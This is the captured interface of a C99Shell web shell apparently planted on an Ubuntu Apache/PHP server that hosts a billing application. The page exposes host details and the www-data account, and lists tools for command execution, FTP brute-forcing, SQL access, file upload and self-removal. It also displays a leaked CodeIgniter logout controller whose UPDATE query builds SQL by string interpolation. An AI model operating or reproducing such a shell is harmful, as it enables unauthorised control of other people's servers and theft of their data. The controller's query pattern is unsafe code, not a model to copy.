!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/billing/system/application/controllers/   drwxr-xr-x
Free 13.33 GB of 57.97 GB (22.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     logout.php (1.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<? if (!defined('BASEPATH')) exit('No direct script access allowed');

class logout extends Controller {

    var $settings;

    function Logout() {

        parent::Controller();
        $this->CI =& get_instance();
        $this->CI->load->helper('cookie');

        //$this->settings = $this->mdl_settings->get();

        // if the site has been disabled from the back end, do not allow the viewer to go any further
        //if (!$this->settings->enabled) {
            //redirect('site_disabled');
        //}

    }

    function index() {


        $userID = $this->session->userdata('userID');
        $this->CI->load->helper('cookie');
        //$this->update_logout();
        $query = $this->db->query("UPDATE admin set is_login = 0 where id='$userID'");
        delete_cookie('userID');
        delete_cookie('logged_in');
        $sessiondata = array('logged_in' => 0,'user_name' => '','userID' => '');

        $this->CI->session->set_userdata($sessiondata);

        $this->CI->session->sess_destroy();
        $this->CI->no_cache();

        //redirect('login/logoutprocess');
        redirect('admin/cpanel');

        //$this->load->view('login/loginview');


    }




    function no_cache() {
        $this->output->set_header('Last-Modified: ' . gmdate("D, d M Y H:i:s") . ' GMT');
        $this->output->set_header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
        $this->output->set_header('Pragma: no-cache');
        $this->output->set_header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
    }




    function update_logout()
    {

        $logid = $this->cpanel_login->get_logID();

            $data['logout_time'] = date("g:i a");
            $data['logout_dt'] = date('Y-m-d');

            $where = "log_id = $logid";
            $sql = $this->db->update_string('login', $data, $where);
            $query = $this->db->query($sql);





    }






}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--